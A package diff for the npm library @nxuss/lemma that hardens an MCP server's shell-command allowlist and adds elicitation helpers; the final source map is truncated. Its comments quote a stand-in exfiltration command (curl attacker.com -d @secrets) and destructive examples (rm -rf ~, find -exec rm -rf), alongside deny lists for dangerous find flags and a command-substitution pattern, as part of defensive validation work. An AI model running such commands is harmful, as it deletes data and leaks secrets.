@nxuss/lemma 1.18.0 → 1.18.2

package/dist/cjs/mcp/utils.d.ts

@@ -1,3 +1,4 @@
+import type { Server } from "@modelcontextprotocol/sdk/server/index.js";
 export declare function getProxyPort(): string;
 export declare function clearProxyPortCache(): void;
 export declare function safeResolvePath(workspaceRoot: string, filePath: string): {
@@ -8,17 +9,69 @@ export declare function sanitizeArgsForLogging(args: Record<string, any>): Recor
 export declare function estimateTokensFromResult(result: any): number;
 export declare function logError(context: string, error: unknown): void;
 export declare function logWarn(context: string, message: string): void;
+export declare function setMcpServerRef(server: Server): void;
+/**
+ * The connected host's clientInfo (name/version) from the MCP initialize handshake — e.g.
+ * "cursor"/"claude-code"/"codex". Tool handlers only run after the handshake completes, so
+ * this is already populated by the time any of them call it; no separate capture step needed.
+ * Note this identifies the *host*, not the underlying model it's using — Cursor/Windsurf let
+ * the user pick GPT or Claude per session, so it cannot be used to select a tokenizer.
+ */
+export declare function getConnectedClientInfo(): {
+    name: string;
+    version: string;
+} | undefined;
+/**
+ * The default similarity floor a memory must clear before search_memory/smarter_cache
+ * treat it as a real hit rather than noise. Shared so both paths agree on what counts.
+ */
+export declare const DEFAULT_MEMORY_SIMILARITY_FLOOR = 0.75;
+/**
+ * Ask the client to confirm a destructive action before it happens.
+ *
+ * Mirrors the defensive shape of trySamplingContext() in src/mcp/index.ts: most clients
+ * today don't support elicitation, so any failure (unsupported capability, timeout,
+ * malformed response) must fall back to "proceed without confirmation" rather than block
+ * or error out the tool. This is a courtesy prompt for clients that support it, not a
+ * security boundary — the allowlist/path-safety checks each handler already does are that.
+ */
+export declare function tryElicitConfirmation(summary: string): Promise<{
+    supported: boolean;
+    confirmed: boolean;
+}>;
+/**
+ * Ask the client to pick one of several candidates via a typed (oneOf) elicitation form,
+ * instead of the plain confirm/deny shape tryElicitConfirmation uses. Same defensive
+ * contract: no support, a decline, or a malformed response all just mean "couldn't
+ * resolve it this way" — the caller falls back to its own error/default behavior, never
+ * blocks or throws.
+ */
+export declare function tryElicitChoice(message: string, options: Array<{
+    title: string;
+}>): Promise<{
+    supported: boolean;
+    index: number | null;
+}>;
 /**
  * Loads allowed command prefixes by merging the hardcoded defaults with
  * any user-defined extensions in lemma.config.json under `mcp.allowedCommandPrefixes`.
  */
 export declare function loadAllowedCommands(): string[];
 /**
- * Returns true if the given command string starts with any allowed prefix.
- * Strips leading whitespace and checks the first token.
+ * Structurally validates a command string against the allowlist.
+ *
+ * A first-token-only check is not enough: `run_workspace_command` executes via
+ * `spawn(command, { shell: true })`, so the whole string reaches a real shell. An allowed
+ * prefix followed by `&&`, `;`, `|`, redirection, or substitution can run anything —
+ * `git status && rm -rf ~` passes a first-token check because `git` is allowed, but the
+ * shell still runs the `rm`. This walks the parsed token stream instead: every clause
+ * between chain operators must independently pass the allowlist, and redirection,
+ * substitution, backgrounding, and subshells are rejected outright rather than enumerated
+ * as "not yet seen as dangerous".
  */
 export declare function isCommandAllowed(command: string): {
     allowed: boolean;
     prefix?: string;
+    reason?: string;
 };
 //# sourceMappingURL=utils.d.ts.map

package/dist/cjs/mcp/utils.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"AAMA,wBAAgB,YAAY,IAAI,MAAM,CAYrC;AAED,wBAAgB,mBAAmB,IAAI,IAAI,CAE1C;AAED,wBAAgB,eAAe,CAAC,aAAa,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG;IAAE,QAAQ,EAAE,MAAM,CAAC;IAAC,YAAY,EAAE,MAAM,CAAA;CAAE,CAmCnH;AAED,wBAAgB,sBAAsB,CAAC,IAAI,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAcrF;AAED,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,GAAG,GAAG,MAAM,CAK5D;AAED,wBAAgB,QAAQ,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,GAAG,IAAI,CAG9D;AAED,wBAAgB,OAAO,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,IAAI,CAE9D;AAuCD;;;GAGG;AACH,wBAAgB,mBAAmB,IAAI,MAAM,EAAE,CAgB9C;AAED;;;GAGG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG;IAAE,OAAO,EAAE,OAAO,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAA;CAAE,CAUvF"}
+{"version":3,"file":"utils.d.ts","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,2CAA2C,CAAC;AAIxE,wBAAgB,YAAY,IAAI,MAAM,CAYrC;AAED,wBAAgB,mBAAmB,IAAI,IAAI,CAE1C;AAED,wBAAgB,eAAe,CAAC,aAAa,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG;IAAE,QAAQ,EAAE,MAAM,CAAC;IAAC,YAAY,EAAE,MAAM,CAAA;CAAE,CAmCnH;AAED,wBAAgB,sBAAsB,CAAC,IAAI,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,CAcrF;AAED,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,GAAG,GAAG,MAAM,CAK5D;AAED,wBAAgB,QAAQ,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,OAAO,GAAG,IAAI,CAG9D;AAED,wBAAgB,OAAO,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,IAAI,CAE9D;AASD,wBAAgB,eAAe,CAAC,MAAM,EAAE,MAAM,GAAG,IAAI,CAEpD;AAED;;;;;;GAMG;AACH,wBAAgB,sBAAsB,IAAI;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,OAAO,EAAE,MAAM,CAAA;CAAE,GAAG,SAAS,CAEtF;AAED;;;GAGG;AACH,eAAO,MAAM,+BAA+B,OAAO,CAAC;AAEpD;;;;;;;;GAQG;AACH,wBAAsB,qBAAqB,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC;IAAE,SAAS,EAAE,OAAO,CAAC;IAAC,SAAS,EAAE,OAAO,CAAA;CAAE,CAAC,CA2BhH;AAED;;;;;;GAMG;AACH,wBAAsB,eAAe,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,KAAK,CAAC;IAAE,KAAK,EAAE,MAAM,CAAA;CAAE,CAAC,GAAG,OAAO,CAAC;IAAE,SAAS,EAAE,OAAO,CAAC;IAAC,KAAK,EAAE,MAAM,GAAG,IAAI,CAAA;CAAE,CAAC,CA6B/I;AA8DD;;;GAGG;AACH,wBAAgB,mBAAmB,IAAI,MAAM,EAAE,CAgB9C;AAED;;;;;;;;;;;GAWG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG;IAAE,OAAO,EAAE,OAAO,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAA;CAAE,CA8DxG"}

package/dist/cjs/mcp/utils.js

@@ -3,6 +3,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
     return (mod && mod.__esModule) ? mod : { "default": mod };
 };
 Object.defineProperty(exports, "__esModule", { value: true });
+exports.DEFAULT_MEMORY_SIMILARITY_FLOOR = void 0;
 exports.getProxyPort = getProxyPort;
 exports.clearProxyPortCache = clearProxyPortCache;
 exports.safeResolvePath = safeResolvePath;
@@ -10,11 +11,16 @@ exports.sanitizeArgsForLogging = sanitizeArgsForLogging;
 exports.estimateTokensFromResult = estimateTokensFromResult;
 exports.logError = logError;
 exports.logWarn = logWarn;
+exports.setMcpServerRef = setMcpServerRef;
+exports.getConnectedClientInfo = getConnectedClientInfo;
+exports.tryElicitConfirmation = tryElicitConfirmation;
+exports.tryElicitChoice = tryElicitChoice;
 exports.loadAllowedCommands = loadAllowedCommands;
 exports.isCommandAllowed = isCommandAllowed;
 const fs_1 = __importDefault(require("fs"));
 const path_1 = __importDefault(require("path"));
 const os_1 = __importDefault(require("os"));
+const shell_quote_1 = require("shell-quote");
 let cachedPort = null;
 function getProxyPort() {
     if (cachedPort)
@@ -103,6 +109,108 @@ function logError(context, error) {
 function logWarn(context, message) {
     console.warn(`[Lemma MCP:${context}] ${message}`);
 }
+// ── Elicitation (spec 2026-07-28's recommended pattern for destructive actions) ────
+//
+// Set once by setupToolsHandlers so the standalone handler functions in tools.ts — which
+// don't otherwise see the Server instance — can ask the connected client to confirm before
+// a mutating tool runs.
+let mcpServerRef = null;
+function setMcpServerRef(server) {
+    mcpServerRef = server;
+}
+/**
+ * The connected host's clientInfo (name/version) from the MCP initialize handshake — e.g.
+ * "cursor"/"claude-code"/"codex". Tool handlers only run after the handshake completes, so
+ * this is already populated by the time any of them call it; no separate capture step needed.
+ * Note this identifies the *host*, not the underlying model it's using — Cursor/Windsurf let
+ * the user pick GPT or Claude per session, so it cannot be used to select a tokenizer.
+ */
+function getConnectedClientInfo() {
+    return mcpServerRef?.getClientVersion();
+}
+/**
+ * The default similarity floor a memory must clear before search_memory/smarter_cache
+ * treat it as a real hit rather than noise. Shared so both paths agree on what counts.
+ */
+exports.DEFAULT_MEMORY_SIMILARITY_FLOOR = 0.75;
+/**
+ * Ask the client to confirm a destructive action before it happens.
+ *
+ * Mirrors the defensive shape of trySamplingContext() in src/mcp/index.ts: most clients
+ * today don't support elicitation, so any failure (unsupported capability, timeout,
+ * malformed response) must fall back to "proceed without confirmation" rather than block
+ * or error out the tool. This is a courtesy prompt for clients that support it, not a
+ * security boundary — the allowlist/path-safety checks each handler already does are that.
+ */
+async function tryElicitConfirmation(summary) {
+    if (!mcpServerRef)
+        return { supported: false, confirmed: true };
+    try {
+        const result = await mcpServerRef.elicitInput({
+            message: summary,
+            requestedSchema: {
+                type: "object",
+                properties: {
+                    confirm: {
+                        type: "boolean",
+                        title: "Proceed?",
+                        description: "Confirm this action should be applied.",
+                    },
+                },
+                required: ["confirm"],
+            },
+        });
+        if (result.action !== "accept") {
+            // "decline" or "cancel" — the user (or client policy) said no.
+            return { supported: true, confirmed: false };
+        }
+        const confirmed = result.content?.confirm !== false;
+        return { supported: true, confirmed };
+    }
+    catch (err) {
+        logWarn("elicitation", "Client does not support elicitation (or the request failed) — proceeding without confirmation");
+        return { supported: false, confirmed: true };
+    }
+}
+/**
+ * Ask the client to pick one of several candidates via a typed (oneOf) elicitation form,
+ * instead of the plain confirm/deny shape tryElicitConfirmation uses. Same defensive
+ * contract: no support, a decline, or a malformed response all just mean "couldn't
+ * resolve it this way" — the caller falls back to its own error/default behavior, never
+ * blocks or throws.
+ */
+async function tryElicitChoice(message, options) {
+    if (!mcpServerRef || options.length === 0)
+        return { supported: false, index: null };
+    try {
+        const result = await mcpServerRef.elicitInput({
+            message,
+            requestedSchema: {
+                type: "object",
+                properties: {
+                    choice: {
+                        type: "string",
+                        title: "Which one?",
+                        oneOf: options.map((opt, i) => ({ const: String(i), title: opt.title })),
+                    },
+                },
+                required: ["choice"],
+            },
+        });
+        if (result.action !== "accept" || !result.content) {
+            return { supported: true, index: null };
+        }
+        const idx = Number(result.content.choice);
+        if (!Number.isInteger(idx) || idx < 0 || idx >= options.length) {
+            return { supported: true, index: null };
+        }
+        return { supported: true, index: idx };
+    }
+    catch (err) {
+        logWarn("elicitation", "Client does not support elicitation (or the request failed) — no choice made");
+        return { supported: false, index: null };
+    }
+}
 // ─── Command Allowlist ────────────────────────────────────────────────────────
 /**
  * Safe command prefixes allowed by run_workspace_command by default.
@@ -136,8 +244,28 @@ const DEFAULT_ALLOWED_COMMAND_PREFIXES = [
     // Containers & infra
     'docker', 'docker-compose', 'kubectl', 'helm', 'terraform',
     // Misc safe tools
-    'jq', 'yq', 'curl', 'ping',
+    // `curl` and `ping` were dropped: neither is a dev-tool workflow this list exists for, and
+    // `curl` in particular is the single highest-value exfiltration primitive a "safe" prefix
+    // could grant (`curl attacker.com -d @secrets`). Add it back per-project via
+    // lemma.config.json if a workflow genuinely needs it.
+    'jq', 'yq',
 ];
+/**
+ * `find` flags that grant execution or deletion without any shell operator at all —
+ * `find . -exec rm -rf {} \;` needs no `&&`/`;` to do damage, so these can't be caught by
+ * clause-splitting and must be denied per-flag instead.
+ */
+const DANGEROUS_FIND_FLAGS = new Set([
+    '-exec', '-execdir', '-ok', '-okdir', '-delete', '-fprintf',
+]);
+/** Shell operators this validator understands and permits as command separators. */
+const CHAIN_OPERATORS = new Set(['&&', '||', ';', '|']);
+/**
+ * Defense in depth against command/process substitution: shell-quote does not structurally
+ * flag backtick substitution (it comes back as one opaque string token), so this has to be
+ * caught at the raw-string level before parsing, not via the parsed token shape.
+ */
+const SUBSTITUTION_PATTERN = /\$\(|`|<\(|>\(/;
 /**
  * Loads allowed command prefixes by merging the hardcoded defaults with
  * any user-defined extensions in lemma.config.json under `mcp.allowedCommandPrefixes`.
@@ -161,18 +289,74 @@ function loadAllowedCommands() {
     return defaults;
 }
 /**
- * Returns true if the given command string starts with any allowed prefix.
- * Strips leading whitespace and checks the first token.
+ * Structurally validates a command string against the allowlist.
+ *
+ * A first-token-only check is not enough: `run_workspace_command` executes via
+ * `spawn(command, { shell: true })`, so the whole string reaches a real shell. An allowed
+ * prefix followed by `&&`, `;`, `|`, redirection, or substitution can run anything —
+ * `git status && rm -rf ~` passes a first-token check because `git` is allowed, but the
+ * shell still runs the `rm`. This walks the parsed token stream instead: every clause
+ * between chain operators must independently pass the allowlist, and redirection,
+ * substitution, backgrounding, and subshells are rejected outright rather than enumerated
+ * as "not yet seen as dangerous".
  */
 function isCommandAllowed(command) {
     const trimmed = command.trim();
-    // Extract the base command name (first token, ignoring env assignments like KEY=val cmd)
-    const firstToken = trimmed.split(/\s+/).find(t => !t.includes('=')) || trimmed.split(/\s+/)[0];
-    const baseName = path_1.default.basename(firstToken); // handles /usr/bin/git → git
+    if (!trimmed)
+        return { allowed: false, reason: "empty command" };
+    if (SUBSTITUTION_PATTERN.test(trimmed)) {
+        return {
+            allowed: false,
+            reason: "command/process substitution ($(...), `...`, <(...), >(...)) is not allowed",
+        };
+    }
+    let parsed;
+    try {
+        parsed = (0, shell_quote_1.parse)(trimmed);
+    }
+    catch {
+        return { allowed: false, reason: "command could not be safely parsed" };
+    }
+    const clauses = [[]];
+    for (const token of parsed) {
+        if (token !== null && typeof token === "object") {
+            const t = token;
+            if (t.op === "glob" && typeof t.pattern === "string") {
+                // Glob tokens (`*.ts`) are just an annotated word, not a shell operator.
+                clauses[clauses.length - 1].push(t.pattern);
+                continue;
+            }
+            if (typeof t.op === "string" && CHAIN_OPERATORS.has(t.op)) {
+                clauses.push([]);
+                continue;
+            }
+            // Anything else — redirection (>, >>, <, <<, 2>&1), subshells `(`/`)`, backgrounding
+            // `&`, comments — is unsupported syntax and denied by default rather than allowed
+            // because it wasn't specifically matched.
+            const label = typeof t.op === "string" ? t.op : t.comment !== undefined ? "#" : "unsupported syntax";
+            return { allowed: false, reason: `disallowed shell syntax: "${label}"` };
+        }
+        clauses[clauses.length - 1].push(String(token));
+    }
     const allowed = loadAllowedCommands();
-    const matchedPrefix = allowed.find(prefix => baseName === prefix || baseName.startsWith(prefix + ' '));
-    return matchedPrefix !== undefined
-        ? { allowed: true, prefix: matchedPrefix }
-        : { allowed: false };
+    let matchedPrefix;
+    for (const clause of clauses) {
+        const firstToken = clause.find((t) => !t.includes("=")) ?? clause[0];
+        if (!firstToken)
+            return { allowed: false, reason: "empty command clause" };
+        const baseName = path_1.default.basename(firstToken); // handles /usr/bin/git → git
+        const prefix = allowed.find((p) => baseName === p || baseName.startsWith(p + " "));
+        if (!prefix) {
+            return { allowed: false, reason: `"${baseName}" is not in the allowed command list` };
+        }
+        matchedPrefix = matchedPrefix ?? prefix;
+        if (baseName === "find" && clause.some((t) => DANGEROUS_FIND_FLAGS.has(t))) {
+            return {
+                allowed: false,
+                reason: `"find" with -exec/-execdir/-ok/-okdir/-delete/-fprintf is not allowed (grants execution/deletion without a shell operator)`,
+            };
+        }
+    }
+    return { allowed: true, prefix: matchedPrefix };
 }
 //# sourceMappingURL=utils.js.map

package/dist/cjs/mcp/utils.js.map

@@ -1 +1 @@
-{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"utils.js","sourceRoot":"","sources":["../../../src/mcp/utils.ts"],"names":[],"mappings":";;;;;;AAQA,oCAYC;AAED,kDAEC;AAED,0CAmCC;AAED,wDAcC;AAED,4DAKC;AAED,4BAGC;AAED,0BAEC;AASD,0CAEC;AASD,wDAEC;AAiBD,sDA2BC;AASD,0CA6BC;AAkED,kDAgBC;AAcD,4CA8DC;AAnWD,4CAAoB;AACpB,gDAAwB;AACxB,4CAAoB;AACpB,6CAAkD;AAGlD,IAAI,UAAU,GAAkB,IAAI,CAAC;AAErC,SAAgB,YAAY;IAC1B,IAAI,UAAU;QAAE,OAAO,UAAU,CAAC;IAClC,IAAI,CAAC;QACH,MAAM,QAAQ,GAAG,cAAI,CAAC,IAAI,CAAC,YAAE,CAAC,OAAO,EAAE,EAAE,yBAAyB,CAAC,CAAC;QACpE,IAAI,YAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,EAAE,CAAC;YAC5B,UAAU,GAAG,YAAE,CAAC,YAAY,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC,IAAI,EAAE,CAAC;YACtD,OAAO,UAAU,CAAC;QACpB,CAAC;IACH,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,CAAC,IAAI,CAAC,gEAAgE,CAAC,CAAC;IACjF,CAAC;IACD,OAAO,MAAM,CAAC;AAChB,CAAC;AAED,SAAgB,mBAAmB;IACjC,UAAU,GAAG,IAAI,CAAC;AACpB,CAAC;AAED,SAAgB,eAAe,CAAC,aAAqB,EAAE,QAAgB;IACrE,MAAM,QAAQ,GAAG,cAAI,CAAC,OAAO,CAAC,aAAa,EAAE,QAAQ,CAAC,CAAC;IACvD,IAAI,QAAgB,CAAC;IACrB,